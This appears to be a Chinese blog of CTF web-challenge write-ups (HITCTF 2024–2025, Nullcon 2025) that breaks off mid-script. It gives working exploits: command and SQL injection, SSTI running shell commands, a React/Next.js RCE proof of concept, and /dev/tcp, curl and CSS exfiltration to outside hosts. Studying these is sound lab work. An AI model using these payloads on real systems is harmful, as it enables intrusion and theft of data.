伪随机 on Freedom

Hitctf 2024&2025 web wp

Tue, 09 Dec 2025 19:46:01 +0800

2024

mathex

cve-2023-51887

mathex<=1.05时表达式以\which{;}格式传入可以绕过过滤实现命令执行

if (getdirective(expression, "\\which", 1, 0, 1, argstring) != NULL) {
    int ispermitted = 1;
    int nlocate = 1;
    char *path = NULL;
    char whichmsg[512];
    trimwhite(argstring);
    if (isempty(argstring))
      ispermitted = 0;                            /* arg is an empty string */
    else {                                        /* have non-empty argstring */
      int arglen = strlen(argstring);             /* #chars in argstring */
      if (strcspn(argstring, WHITESPACE) < arglen /* embedded whitespace */
          || strcspn(argstring, "{}[]()<>") < arglen  /* illegal char */
          || strcspn(argstring, "|/\"\'\\") < arglen  /* illegal char */
          || strcspn(argstring, "`!@%&*+=^") < arglen /* illegal char */
      )
        ispermitted = 0;
    }
    if (ispermitted) {
      path = whichpath(argstring, &nlocate);    // <- popen("which {argstring}")
      sprintf(whichmsg,
              "%s(%s) = %s", (path == NULL || nlocate < 1 ? "which" : "locate"),
              argstring, (path != NULL ? path : "not found"));
    } 
    // ...
}

没有源代码就简单搭了一个环境(~~也是老古董了还在用cgi~~)

`1`	`/cgi-bin/mathtex.cgi?\which{;cd$IFS..;cd$IFS..;cd$IFS..;cd$IFS..;ls}`

wget

又是一个cve:cve-2024-10524

先看看源码

from flask import Flask, request, render_template, jsonify 
import subprocess 
import os 
import base64 
app = Flask(__name__) 
FLAG = os.getenv("FLAG", "flag{}") 
flag_base64 = base64.urlsafe_b64encode(FLAG.encode()).decode() 
print(f"FLAG: {flag_base64}")
@app.route("/") 
def index(): 
    with open(__file__, "r") as file: 
        source_code = file.read() 
        return source_code 
         
@app.route("/execute", methods=["POST"]) 
def execute(): 
    auth = request.form.get("auth") 
    if not auth: 
		    return jsonify({"error": "auth is required"}), 401 
    if any(char in "`!@#$%&*()-=+;.[]{}<>\\|;'\"?/" for char in auth): 
        return jsonify({"error": "Hacker!"}), 400 
    try: 
        command = ["wget", f"{auth}@127.0.0.1:5000/{flag_base64}"] 
        subprocess.run(command, check=True) 
        return jsonify({"message": "Command executed successfully"}) 
    except Exception as e: 
        return jsonify({"error": "Command failed"}), 500 

if __name__ == "__main__": app.run(host="0.0.0.0", port=5000)

找到一篇文章CVE-2024-10524 Wget Zero Day Vulnerability

主要是利用wget的解析差，如果尝试wget aaa:bbb@ccc，wget会自动将其解释为ftp://aaa/bbb@ccc（其中bbb@ccc会被识别为一个目录名），那么我们就可以利用ftp的匿名登录来进行外带。

我这里没有用常见的ftp，而是使用了python的一个库来模拟ftp。

`1`	`pip install pyftpdlib`

因为bbb@ccc会被识别为目录，所以我们要提前创建一个aaaaaa@127.0.0.1:5000目录，在服务器上我们还需要开启对应的端口（我这里用的默认21）和ftp被动模式的端口。

做完这些我们就可以启动ftp服务了

`1`	`python -m pyftpdlib -p 21 -D`

发送payload

1
2

POST /execute
auth=[数字ip]:aaaaaa //这里过滤了点，我们使用数字ip

静静等待连接即可

参考文章：

HITCTF2024 Writeup - Turker’s

HITCTF2024 wget wp-先知社区

2025

logServer

先看源码

from flask import Flask, request, jsonify, render_template_string
import sqlite3
import random


def gen_secret():
    secret_int = random.getrandbits(96)
    secret_bits = secret_int.to_bytes((secret_int.bit_length() + 7) // 8, byteorder='big')
    return secret_bits.hex()


app = Flask(__name__)
conn = sqlite3.connect("database.db", isolation_level=None, check_same_thread=False)
conn.execute("""
    CREATE TABLE IF NOT EXISTS logs (
        id INTEGER PRIMARY KEY AUTOINCREMENT,
        message TEXT NOT NULL
    )
""")
conn.execute("""
    CREATE TABLE IF NOT EXISTS secret (
        secret TEXT NOT NULL
    )
""")
conn.execute(f"INSERT INTO secret VALUES ('{gen_secret()}')")


@app.route("/")
def health_check():
    return jsonify({"status": "ok"}), 200


@app.route("/log", methods=["POST"])
def log_message():
    data = request.get_json()
    message = data.get("message")
    if not message:
        return jsonify({"success": False, "error": "Message is required"}), 400

    try:
        conn.execute(f"INSERT INTO logs (message) VALUES ('{message}')")
        return jsonify({"success": True}), 200
    except Exception as e:
        return jsonify({"success": False, "error": str(e)}), 500


@app.route("/backdoor", methods=["POST"])
def backdoor():
    data = request.get_json()
    secret = data.get("secret")
    code = data.get("code")

    if not secret or not code:
        return jsonify(
            {"success": False, "error": "Secret and code are required"}
        ), 400

    stored_secret = conn.execute("SELECT secret FROM secret").fetchone()[0]
    if secret != stored_secret:
        return jsonify({"success": False, "error": "Invalid secret"}), 403

    res = render_template_string(code)
    return jsonify({"success": True, "result": res}), 200


@app.after_request
def update_secret(response):
    new_secret = gen_secret()
    conn.execute(f"UPDATE secret SET secret = '{new_secret}'")
    print(f"New secret generated: {new_secret}")
    return response


if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5000)

0x01 sqlite注入

/log存在明显的sql注入

`1`	`conn.execute(f"INSERT INTO logs (message) VALUES ('{message}')")`

不过它使用的是INSERT ，没法直接用联合查询，拷打的gemini告诉我可以使用报错注入来泄露secret

`1`	`' \|\| json_extract('{"a":1}', (SELECT secret FROM secret)) \|\| '`

`1`	`' \|\| fts3_tokenizer((SELECT secret FROM secret)) \|\| ' -- 也可以`

0x02 伪随机预测

/backdoor很明显的无过滤ssti，前提是secret验证通过。本题最大的难点来了

@app.after_request
def update_secret(response):
    new_secret = gen_secret()
    conn.execute(f"UPDATE secret SET secret = '{new_secret}'")
    print(f"New secret generated: {new_secret}")
    return response

每次请求都会更新secret，刚开始想打条件竞争来着，但未成功，于是想到了伪随机，收集足够的随机数样本来预测secret。

`1`	`pip install randcrack`

综上本题的总体思路为：利用sqlIte注入泄露secret=>重复收集泄露的secret=>预测secret=>ssti

你可以使用python的库来预测，我这里没用

exp如下：

import requests
import re
from z3 import *

N = 624
M = 397
MATRIX_A = 0x9908b0df
UPPER_MASK = 0x80000000
LOWER_MASK = 0x7fffffff

def untemper(y_val):
    y = BitVec('y', 32)
    y1 = y ^ LShR(y, 11)
    y2 = y1 ^ ((y1 << 7) & 0x9d2c5680)
    y3 = y2 ^ ((y2 << 15) & 0xefc60000)
    y4 = y3 ^ LShR(y3, 18)
    s = Solver()
    s.add(y4 == y_val)
    if s.check() == sat:
        return s.model()[y].as_long()
    return 0

def temper(y):
    y ^= (y >> 11)
    y ^= ((y << 7) & 0x9d2c5680)
    y ^= ((y << 15) & 0xefc60000)
    y ^= (y >> 18)
    return y

def twist(state):
    for i in range(N):
        y = (state[i] & UPPER_MASK) | (state[(i + 1) % N] & LOWER_MASK)
        state[i] = state[(i + M) % N] ^ (y >> 1) ^ ((y & 1) * MATRIX_A)
    return state

URL = "http://xxx/log"
BACKDOOR_URL = "http://xxx/backdoor"

def get_secret():
    payload = "' || json_extract('{\"a\":1}', (SELECT secret FROM secret)) || '"
    try:
        r = requests.post(URL, json={"message": payload})
        if "JSON path error near" in r.text:
            match = re.search(r"JSON path error near '([0-9a-f]+)'", r.text)
            if match:
                return match.group(1)
    except:
        return None
    return None

def main():
    secrets = []
    for i in range(210):
        s_hex = get_secret()
        if not s_hex:
            return
        s_int = int(s_hex, 16)
        a = s_int & 0xFFFFFFFF
        b = (s_int >> 32) & 0xFFFFFFFF
        c = (s_int >> 64) & 0xFFFFFFFF
        secrets.append(a)
        secrets.append(b)
        secrets.append(c)
    
    state = [untemper(y) for y in secrets[:624]]
    next_state = twist(state)
    
    payloads = [
        "{{ self.__init__.__globals__.__builtins__.__import__('os').popen('ls -la /').read() }}",
        "{{ self.__init__.__globals__.__builtins__.__import__('os').popen('cat /flag').read() }}",
        "{{ self.__init__.__globals__.__builtins__.__import__('os').popen('/readflag').read() }}"
    ]
    
    current_idx = 6
    for code in payloads:
        next_words = []
        for k in range(3):
            y = next_state[current_idx + k]
            y = temper(y)
            next_words.append(y)
        a, b, c = next_words
        next_secret_int = a | (b << 32) | (c << 64)
        next_secret_hex = next_secret_int.to_bytes(12, 'big').hex()
        
        r = requests.post(BACKDOOR_URL, json={"secret": next_secret_hex, "code": code})
        print(f"Secret: {next_secret_hex}")
        print(f"Status: {r.status_code}")
        print(f"Response: {r.text}")
        
        current_idx += 3
        if current_idx + 3 >= N:
            next_state = twist(next_state)
            current_idx = 0

if __name__ == "__main__":
    main()

Freestyle

本来是个xss题目，结果被无条件rce的cve非预期了

0x01 源码分析

跟上题差不多的逻辑，token通过验证后就会给flag

// /app/api/flag/route.ts
import { type NextRequest, NextResponse } from "next/server";
import { validateToken } from "@/lib/token-store";

export async function GET(request: NextRequest) {
  const searchParams = request.nextUrl.searchParams;
  const token = searchParams.get("token");

  if (!token) {
    return NextResponse.json({ error: "Missing token" }, { status: 400 });
  }

  if (validateToken(token)) {
    return NextResponse.json({
      flag: "flag{redacted_flag}",
    });
  } else {
    return NextResponse.json({ error: "Invalid token" }, { status: 403 });
  }
}

而token的生成来自以下文件

// /lib/token-store.ts
declare global {
  var CTF_CHALLENGE_TOKEN: string | undefined;
  var CTF_CHALLENGE_LOCKED: boolean | undefined;
}

export function generateToken(): string {
  const token = Math.floor(Math.random() * 100).toString().padStart(2, '0');
  globalThis.CTF_CHALLENGE_TOKEN = token;
  globalThis.CTF_CHALLENGE_LOCKED = false;
  console.log(`[CTF] New token generated: ${token}`);
  return token;
}

export function getToken(): string {
  if (!globalThis.CTF_CHALLENGE_TOKEN) {
    return generateToken();
  }
  return globalThis.CTF_CHALLENGE_TOKEN;
}

export function validateToken(inputToken: string): boolean {
  if (globalThis.CTF_CHALLENGE_LOCKED) {
    return false;
  }

  const currentToken = getToken();
  if (inputToken === currentToken) {
    return true;
  }
  // Lock on failure
  globalThis.CTF_CHALLENGE_LOCKED = true;
  console.log(`[CTF] Challenge LOCKED due to invalid token attempt.`);
  return false;
}

每次开启靶机生成一个两位数的token，并且输入一次错误就会永久锁定。

对于CardGenerator.tsx，重点关注一下几行

<div
    data-token={serverToken}
    className="w-full max-w-md aspect-[1.586/1] rounded-xl shadow-2xl overflow-hidden relative transition-all duration-300"
    style={previewStyle}
>

const previewStyle = {
	background: bgImage,
}
    
const [bgImage, setBgImage] = useState(
    searchParams.get("bg-image") ||
      "linear-gradient(var(--gradient-angle),var(--gradient-from),var(--gradient-to))",
);

bg-image参数是可控的，但只能进行css注入来泄露data-token。

0x02 非预期

最近react爆出来一个无条件rce的cve。

而这题的版本正好符合该cve的条件。

我这里使用内存马版本的exp

# /// script
# dependencies = ["requests"]
# ///
import requests
import sys
import json

BASE_URL = sys.argv[1] if len(sys.argv) > 1 else "ip"
EXECUTABLE = sys.argv[2] if len(sys.argv) > 2 else "ls"

crafted_chunk = {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": '{"then": "$B0"}',
    "_response": {
        "_prefix": f"var res = process.mainModule.require('child_process').execSync('{EXECUTABLE}',{{'timeout':5000}}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});",
        # If you don't need the command output, you can use this line instead:
        # "_prefix": f"process.mainModule.require('child_process').execSync('{EXECUTABLE}');",
        "_formData": {
            "get": "$1:constructor:constructor",
        },
    },
}

files = {
    "0": (None, json.dumps(crafted_chunk)),
    "1": (None, '"$@0"'),
}

headers = {"Next-Action": "x"}
res = requests.post(BASE_URL, files=files, headers=headers, timeout=10)
print(res.status_code)
print(res.text)

GitHub - msanft/CVE-2025-55182: Explanation and full RCE PoC for CVE-2025-55182

rce就可以干任何事情了，flag就在代码里不过需要找到编译后的文件。

`1`	`grep -RIl "flag{" /app/`

还有一种优雅的方式，直接修改data-token，因为data-token是存在全局变量里面的，我们可以利用原型链访问到全局变量。

POST / HTTP/1.1
Host: target.com
Next-Action: x
Content-Type: multipart/form-data; boundary=----React2ShellBoundaryCTF

------React2ShellBoundaryCTF
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B0\"}","_response":{"_prefix":"globalThis.CTF_CHALLENGE_TOKEN='42';globalThis.CTF_CHALLENGE_LOCKED=false;","_formData":{"get":"$1:constructor:constructor"}}}
------React2ShellBoundaryCTF
Content-Disposition: form-data; name="1"

"$@0"
------React2ShellBoundaryCTF--

参考：https://lunaticquasimodo.top/blog/hitctf-2025-web-freestyle-writeup

0x03 预期

https://portswigger.net/research/inline-style-exfiltration

poc：

<div style='
  --val: attr(data-username);
  --steal: if(style(--val:"alice"): url(http://127.0.0.1:8888));
  background: image-set(var(--steal));
' data-username="alice">Test</div>

payload:

1
2
3

bg-image=image-set(var(--steal))
&val=attr(data-token)
&steal=if(style(--val:"07"):url(http://ip/leak/07);else:url(http://ip/leak/no))

exp:

import urllib.parse
import urllib.request

base = "http://ip/leak/"
target = "http://ip"
expr = f'url({base}no)'
for i in reversed(range(100)):
  t = f"{i:02d}"
  expr = f'if(style(--val:"{t}"):url({base}{t});else:{expr})'

payload = "/api/bot?bg-image=image-set(var(--steal))&val=attr(data-token)&steal=" + urllib.parse.quote(expr, safe="")
# print(payload)

url = target.rstrip("/") + payload
urllib.request.urlopen(url, timeout=5)

Impossible SQL

这题差点给我绕晕了

0x01 源码分析

先看源码

//index.php
<?php
error_reporting(0);
require_once 'init.php';

function safe_str($str) {
    if (preg_match('/[ \t\r\n]/', $str) || preg_match('/\/\*|#|--[ \t\r\n]/', $str)) {
        return false; 
    }
    return true;
}

if (!isset($_GET['info']) || !isset($_GET['key'])) {
    HIGHLIGHT_FILE(__FILE__);
    die('');
}

$info = str_replace('`', '``', base64_decode($_GET['info']));
$key = base64_decode($_GET['key']);

if (!safe_str($info) || !safe_str($key)) {
    die('Invalid input');
}

$sql = "SELECT `$info` FROM users WHERE username = ?";

$stmt = $pdo->prepare($sql);
$stmt->execute([$key]);
print_r($stmt->fetchAll());
?>

//init.php
//远程还有关键字waf我本地没有加上
<?php

// 数据库配置
$host = '127.0.0.1';
$dbname = 'test';
$user = 'root';
$pass = 'root';

// 创建 PDO 连接
$dsn = "mysql:host=$host;dbname=$dbname;charset=utf8";

$pdo = new PDO($dsn, $user, $pass);

?>

base64_decode说明传入的参数是 Base64 编码过的

info：数据库字段名
key：用户名

str_replace(’`’, ‘``’, …)

将反引号 ```转成，转义无影响
防止利用反引号逃逸字段名（SQL 注入的一种）

safe_str过滤

空格、Tab、换行：[ \t\r\n]
SQL 注释：
- /*
- #
- -- （后面跟空格或换行）(不是匹配–而是匹配– 类似的形式）

过滤+预处理看起来无懈可击了

0x02 关键字WAF绕过

远程存在WAF（本地没加），拦截SELECT、UNION等关键字。利用php对base64的容错来绕过：在Base64字符串中插入空格，PHP的base64_decode()会自动忽略。

1
2

def split_b64(s):
    return " ".join(s)  # "dXNlcm5hbWU=" → "d X N l c m 5 h b W U ="

0x03 PDO绕过

参考这篇文章Novel SQL Injection Technique in PDO Prepared Statements

利用 PDO 的内部解析逻辑来实现注入，如果你向 info 参数传入一些特殊的字节（比如 ? + null 字节），PDO 的解析器错误 把这个 ? 当作一个新的 bind 参数，此时原本只有一个绑定参数，但 PDO 却认为存在多个，最终可以让你注入 SQL 代码片段。

int pdo_mysql_scanner(pdo_scanner_t *s)
{
	const char *cursor = s->cur;

	s->tok = cursor;
	/*!re2c
	BINDCHR		= [:][a-zA-Z0-9_]+;
	QUESTION	= [?];
	COMMENTS	= ("/*"([^*]+|[*]+[^/*])*[*]*"*/"|(("--"[ \t\v\f\r])|[#]).*);
	SPECIALS	= [:?"'`/#-];
	MULTICHAR	= ([:]{2,}|[?]{2,});
	ANYNOEOF	= [\001-\377];
	*/

	/*!re2c
		(["]((["]["])|([\\]ANYNOEOF)|ANYNOEOF\["\\])*["]) { RET(PDO_PARSER_TEXT); }
		(['](([']['])|([\\]ANYNOEOF)|ANYNOEOF\['\\])*[']) { RET(PDO_PARSER_TEXT); }
		([`]([`][`]|ANYNOEOF\[`])*[`])			{ RET(PDO_PARSER_TEXT); }
		MULTICHAR								{ RET(PDO_PARSER_TEXT); }
		BINDCHR									{ RET(PDO_PARSER_BIND); }
		QUESTION								{ RET(PDO_PARSER_BIND_POS); }
		SPECIALS								{ SKIP_ONE(PDO_PARSER_TEXT); }
		COMMENTS								{ RET(PDO_PARSER_TEXT); }
		(ANYNOEOF\SPECIALS)+ 					{ RET(PDO_PARSER_TEXT); }
	*/
}

反引号里可以被接受的内容包括了 \001-\377 ，但是偏偏少了一个 \0 。也就是说如果我们传入 ?\0 会导致PDO 试图把 ?\0 当作一个完整的反引号标识符，读到 \0 时 fallback 到 SPECIALS 分支，反引号被当做一个普通符号跳过了，这导致紧接着的 ? 暴露出来，被 PDO 当做一个占位符。

另外waf禁止了[ \t\r\n] ，在MySQL会将 \x0b 识别为空白符， \x0b（垂直制表符VT）可以绕过过滤

53 45 4C 45 43 54   -> SELECT
0B                  -> \x0b
31 2B 31            -> 1+1
3B                  -> ;

waf还禁止了文章中使用的#号

`1`	`info = \?#\x00`

#不能使用，使用--\x0b替代，过滤只过滤--[ \t\r\n]的形式，而没有过滤–本身没被过滤，--\x0b绕过过滤的同时最后会被解析成--[空格]，达到注释的目的。

0x04 构造payload

payload结构：

info = b'\\?--\x0b\x00' #多加一个\是为了制造合法列名进行逃逸
key = b"x`FROM\x0b(SELECT\x0btable_name\x0bAS\x0b`\'`\x0bFROM\x0binformation_schema.tables\x0bWHERE\x0btable_schema=database())y;--\x0b"

# b"x`FROM\x0b("
# b"SELECT\x0btable_name\x0bAS\x0b`\'`\x0b"
# b"FROM\x0binformation_schema.tables\x0b"
# b"WHERE\x0btable_schema=database()"
# b")y;--\x0b"

执行流程分析：

1.PDO prepare:

`1`	SELECT `\?--\x0b\x00` FROM users WHERE username = ?

2.PDO替换:

?的位置被替换为key的值

`1`	SELECT `x`FROM\x0b(SELECT\x0btable_name\x0bAS\x0b`\'`\x0bFROM\x0binformation_schema.tables\x0bWHERE\x0btable_schema=database())y;--\x0b'--\x0b\x00` FROM users WHERE username = ?

3.PDO预编译:

`1`	SELECT `\'x` FROM (SELECT table_name AS `\'x` FROM information_schema.tables WHERE table_schema=database())y;-- '-- ` FROM users WHERE username = ?

key整体被自动加上单引号和反斜杠转义

4.忽略注释后面:

`1`	SELECT `\'x` FROM (SELECT table_name AS `\'x` FROM information_schema.tables WHERE table_schema=database())y;

MySQL 的 反引号（`） 用来包 标识符（列名、别名、表名），在反引号中：

' 单引号是普通字符
\ 也是普通字符（不是转义）

`1`	`\'x`是一个合法的列名 / 别名

外层查询：从子查询结果中取名为 \'x 的那一列

`1`	SELECT `\'x` FROM ( ... ) y;

子查询：从当前数据库取所有表名，把 table_name 起别名为 \'x

`1`	SELECT table_name AS `\'x` FROM information_schema.tables WHERE table_schema = database()

其他payload同理。

0x05 exp

import base64
import requests

url = "http://ip"

def split_b64(s):
    """Split base64 to bypass WAF"""
    return " ".join(s)

def exploit(key_payload):
    
    info = b'\\?--\x0b\x00' 
    
    info_b64 = (base64.b64encode(info).decode())
    key_b64 = (base64.b64encode(key_payload).decode())
    
    r = requests.get(url, params={'info': info_b64, 'key': key_b64}, timeout=10)
    print(r.text)
    
    if r.text.strip():
        print(r.text)
    
    return r

vt = b'\x0b'  

exploit(b'1`' + vt + b'FROM' + vt + b'(SELECT' + vt + b'GROUP_CONCAT(table_name)' + vt + 
        b'AS' + vt + b"`'1`" + vt + b'FROM' + vt + b'information_schema.tables' + vt + 
        b'WHERE' + vt + b'table_schema=database())y;--' + vt)

#使用hex就不用加引号了（引号被过滤）
table_hex = b'0x666c6167'
exploit(b'x`' + vt + b'FROM' + vt + b'(SELECT' + vt + b'GROUP_CONCAT(column_name)' + vt + 
        b'AS' + vt + b"`'x`" + vt + b'FROM' + vt + b'information_schema.columns' + vt + 
        b'WHERE' + vt + b'table_name=' + table_hex + b')y;--' + vt)


exploit(b'x`' + vt + b'FROM' + vt + b'(SELECT' + vt + b'flag' + vt + b'AS' + vt + 
        b"`'x`" + vt + b'FROM' + vt + b'flag' + vt + 
        b'LIMIT' + vt + b'1)y;--' + vt)

ezLoader

java学会了再来复现

参考链接：

https://gyrojibering.github.io/ctf/2025/12/07/hitctf-2025-writeup/

https://www.turker.cn/archives/hitctf-2025-writeup

Novel SQL Injection Technique in PDO Prepared Statements

https://lunaticquasimodo.top/blog

Nullcon HackIM CTF Goa 2025 web 部分wp

Thu, 06 Feb 2025 17:03:00 +0800

Temptation

访问 /?source = 随便一个参数即可得到源码

import web
from web import form
 
web.config.debug = False
 
urls = (
    '/', 'index'
)
 
app = web.application(urls, locals())
render = web.template.render('templates/')
FLAG = open("/tmp/flag.txt").read()
 
temptation_Form = form.Form(
    form.Password("temptation", description="What is your temptation?"),
    form.Button("submit", type="submit", description="Submit")
)
 
class index:
    def GET(self):
        try:
            i = web.input()
            if i.source:
                return open(__file__).read()
        except Exception as e:
            pass
 
        f = temptation_Form()
        return render.index(f)
 
    def POST(self):
        f = temptation_Form()
        if not f.validates():
            return render.index(f)
 
        i = web.input()
        temptation = i.temptation
 
        if 'flag' in temptation.lower():
            return "Too tempted!"
 
        try:
            temptation = web.template.Template(f"Your temptation is: {temptation}")()
        except Exception as e:
            return "Too tempted!"
 
        if str(temptation) == "FLAG":
            return FLAG
        else:
            return "Too tempted!"
 
application = app.wsgifunc()
 
if __name__ == "__main__":
    app.run()

是 web.py 框架的之前没有见过，但是通过 web.template.Template 不难看出是 ssti，问题是无回显，所以可以反弹 shell 或者 curl 外带

1
2

${__import__('os').system('bash -c "cat /tmp/fla* > /dev/tcp/{ip}/{port}"')}
${__import__('os').popen('cat /tmp/fla* | base64 | curl -X POST -d @- https://vps:port').read()}

还有另一种做法，可以利用 web 框架本身的语法，模板中的 $code 块用于在模板中执行 Python 代码，进而构造出 FLAG 通过条件判断

1
2

$code:
    return chr(70)+chr(76)+chr(65)+chr(71) # self.update({"__body__": "FL"+"AG"})也可以

但是不能直接复制到框中，需要用 python 发包

import requests
 
body = """
$code:
    return chr(70)+chr(76)+chr(65)+chr(71)
"""
 
res = requests.post("http://52.59.124.14:5011/", data={"temptation": body, "submit": ""})
print(res.text)

Sess.io

严格意义上这题有点算密码学了，先看一下源代码

<?php
// 定义一个字母和数字的字符集，用于生成随机字符串
define("ALPHA", str_split("abcdefghijklmnopqrstuvwxyz0123456789_-"));
 
// 关闭 PHP 错误报告
ini_set("error_reporting", 0);
 
// 如果 URL 中包含 "source" 参数，显示当前 PHP 文件源代码
if(isset($_GET['source'])) {
    highlight_file(__FILE__);
}
 
// 引入包含 $FLAG 的文件，假设 $FLAG 是某个秘密标志（flag）
include "flag.php"; // $FLAG
 
// 将 FLAG 按每 4 个字符分割成数组
$SEEDS = str_split($FLAG, 4);
 
// 定义一个函数，用于生成一个基于用户名和密码的会话 ID
function session_id_secure($id) {
    global $SEEDS;
    
    // 使用 MD5 哈希对用户名和密码进行处理，生成一个索引
    // 通过该索引从 SEEDS 数组中选取一个部分并转换为十六进制数
    // 使用 Mersenne Twister 随机数生成器（mt_srand）生成一个伪随机种子
    mt_srand(intval(bin2hex($SEEDS[md5($id)[0] % (count($SEEDS))]),16));
 
    // 初始化一个空的会话 ID 字符串
    $id = "";
 
    // 循环 1000 次，生成一个包含随机字符的会话 ID
    for($i = 0; $i < 1000; $i++) {
        // 从 ALPHA 中随机选择一个字符并拼接到会话 ID 中
        $id .= ALPHA[mt_rand(0, count(ALPHA) - 1)];
    }
 
    // 返回生成的会话 ID
    return $id;
}
 
// 如果表单中提交了用户名和密码
if(isset($_POST['username']) && isset($_POST['password'])) {
    // 根据用户名和密码生成会话 ID
    session_id(session_id_secure($_POST['username'] . $_POST['password']));
    
    // 启动会话
    session_start();
    
    // 输出感谢信息
    echo "Thank you for signing up!";
} else {
    // 如果用户名和密码未提交，提示用户输入必要的信息
    echo "Please provide the necessary data!";
}
?>

我们知道 mt_srand(intval(bin2hex($SEEDS[md5($id)[0] % (count($SEEDS))]), 16)) 中的 md5($id)[0] 用于从 $SEEDS 数组中选取索引，数组中的每一块包含四个字符。通过拼接账号和密码，得到其 MD5 哈希值的首位作为 $SEEDS 数组的索引，进而选定种子用于 mt_srand。由于 mt_srand 的种子是可以通过结果来预测的：

https://github.com/openwall/php_mt_seed

所以我们的思路是：构造一个包含所有可能 MD5 首位的账号和密码组合列表 => 发送请求并确认块的数量 => 选取每个块的会话 ID（PHPSESSID）的前 30 位 => 利用 ALPHA 表来确定每一位的对应索引 => 最后通过工具还原每个块的种子并拼接最终的 flag。

看一下 poc：（需要在 php_mt_seed 目录下运行）

import requests
import subprocess
import re
 
# 以下是一些随机生成的 MD5 值及其对应的密码。每个密码都是由数字、字母和特殊字符组成的。
# MD5 值的首位字符涵盖了从 '0' 到 'f' 的范围，确保了每个哈希的首位字符在十六进制范围内。
# 用于测试或验证密码和哈希值的映射。
passwords=[
("0f7e44a922df352c05c5f73cb40ba115","1234567891"),
("1abdec9e557dd71f742a5cfd35fb85f5","25849"),
("267ffd6c931f0115b331c412a43d45dd","23wesdxc@#"),
("3c0a498c552c843646b8fd12fe00b2db","44112886d1d1476"),
("47ee17f970ac4cb5dd5c38508f43b3c7","1q9hitn358"),
("57b7fa6522a60d4864bdaeb9291e3915","258741"),
("663fd3c5144fd10bd5ca6611a9a5b92d","3077"),
("7af9ef04b0871d247cebd4a4ab4aa8a5","3WRs3jO576"),
("8af6d54b19ab50824a31ed26e972b7be","200701203"),
("9a75d47ca2c81e4301c642c30df54263","2kewl4u"),
("af937209a0b274e6048a23909cf0a78b","1a1a3c7g"),
("b1758e9b7f39391aa4c39b456da20c16","1neosmartstatestado"),
("c843481f52d8eeb5c03a8cbbf48355d7","118294"),
("dd5ac53efc3789d835bdb58ee684e7bc","1ct5WiN113"),
("e6edfc340d0003d6538f2e4cac7af97c","13a82aK395"),
("f5bb0c8de146c67b44babbf4e6584cc0","123123123")
]
 
headers = {
    'Content-Type': 'application/x-www-form-urlencoded',
}
 
aboba = []
 
print(f"{'Hash Start':^15}{'Hash':^35}{'Login':^15}{'Password':^20}")
 
for hsh, pw in passwords:
    try:
        login, password = pw[:2], pw[2:]
        print(f"{hsh[0]:^15}{hsh:^35}{login:^15}{password:^20}")
        data = {
            'username': login,
            'password': password,
        }
        response = requests.post('http://52.59.124.14:5008/', headers=headers, data=data)
        aboba.append((hsh[0], hsh, login, password, response.cookies['PHPSESSID']))
    except:
        pass
 
# 字符集和解码函数
alph = "abcdefghijklmnopqrstuvwxyz0123456789_-"
 
def ck_decode(ck):
    decoded = [alph.find(i) for i in ck]
    # 去除掉第一个数字，即 idx 部分
    return ' '.join(map(lambda x: f'{x} {x} {0} {37} ', decoded[:30]))  # 从第一个数字开始输出
 
# 用于存储提取的 seed 值的列表
seeds = []
 
for idx, hsh, lg, pw, ck in aboba:
    decoded_ck = ck_decode(ck)
    command = ["./php_mt_seed"] + decoded_ck.split()  # 创建命令
    print("[+] Executing command:", " ".join(command))  # 打印将要执行的命令
    
    # 捕获命令的输出
    result = subprocess.run(command, capture_output=True, text=True)
    
    # 正则表达式匹配十进制数字（忽略十六进制部分）
    match = re.search(r"seed = 0x[0-9a-fA-F]+ = (\d+)", result.stdout)
    if match:
        seed_value = match.group(1)  # 获取十进制的 seed 数字
        print(f"[+] Found seed value: {seed_value}")
        seeds.append(seed_value)  # 将提取到的 seed 值加入列表
 
# 用于存储解码后的原始值
original_values = []
 
for seed in seeds:
    # 将十进制数字转换为十六进制字符串
    hex_value = hex(int(seed))[2:]
    
    # 如果十六进制字符串长度是奇数，补充一个前导零
    if len(hex_value) % 2 != 0:
        hex_value = "0" + hex_value
    
    # 将十六进制字符串转换为字节数据
    binary_data = bytes.fromhex(hex_value)
    
    # 解码字节数据恢复原始值
    original_value = binary_data.decode('utf-8', errors='ignore')  # 加上 errors='ignore' 防止无法解码的字节报错
    original_values.append(original_value)
 
# 拼接所有的原始值为一个字符串
result_string = "".join(original_values)
 
print("[+] Flag:", result_string)

感觉开了线程和不开速度没啥区别（都得 10 分钟），拿来一手国外师傅的脚本明显快了很多（具体没有研究，好像是直接把 php_mt_seed 的内容加到里面去了）

<?php
define("ALPHA", str_split("abcdefghijklmnopqrstuvwxyz0123456789_-")); // 定义 ALPHA 字符集，包含所有有效字符
 
// 测试输入的用户名和对应的哈希前缀映射
$test_inputs = [
    'test16' => '0',
    'test37' => '1',
    'test36' => '2',
    'test13' => '3',
    'test6' => '4',
    'test1' => '5',
    'test12' => '6',
    'test9' => '7',
    'test3' => '8',
    'test29' => '9',
    'test2' => 'a',
    'test7' => 'b',
    'test10' => 'c',
    'test18' => 'd',
    'test5' => 'e',
    'test0' => 'f'
];
 
// 通过用户名获取 PHPSESSID（会话ID）
function get_session_id($username) {
    $url = 'http://52.59.124.14:5008';  // 目标 URL
    $data = http_build_query([  // POST 请求数据，用户名和密码为空
        'username' => $username,
        'password' => ''  // 空密码
    ]);
 
    $opts = [
        'http' => [
            'method' => 'POST',
            'header' => 'Content-Type: application/x-www-form-urlencoded',  // 设置请求头
            'content' => $data  // 设置请求体
        ]
    ];
 
    // 创建 HTTP 请求上下文并发送请求
    $context = stream_context_create($opts);
    $response = @file_get_contents($url, false, $context);  // 获取响应
 
    if ($response === false) {
        return null;  // 请求失败，返回 null
    }
 
    // 解析响应头，提取 PHPSESSID
    $headers = $http_response_header ?? [];
    foreach ($headers as $header) {
        if (preg_match('/PHPSESSID=([^;]+)/', $header, $matches)) {
            return $matches[1];  // 返回 PHPSESSID
        }
    }
 
    return null;  // 如果没有找到 PHPSESSID，返回 null
}
 
// 根据给定的种子和会话ID，验证该种子是否能生成与会话ID匹配的字符串
function check_seed($seed, $session_id) {
    mt_srand($seed);  // 设置种子
 
    // 检查会话 ID 的前 10 个字符
    for ($i = 0; $i < 10; $i++) {
        $generated = ALPHA[mt_rand(0, count(ALPHA)-1)];  // 生成随机字符
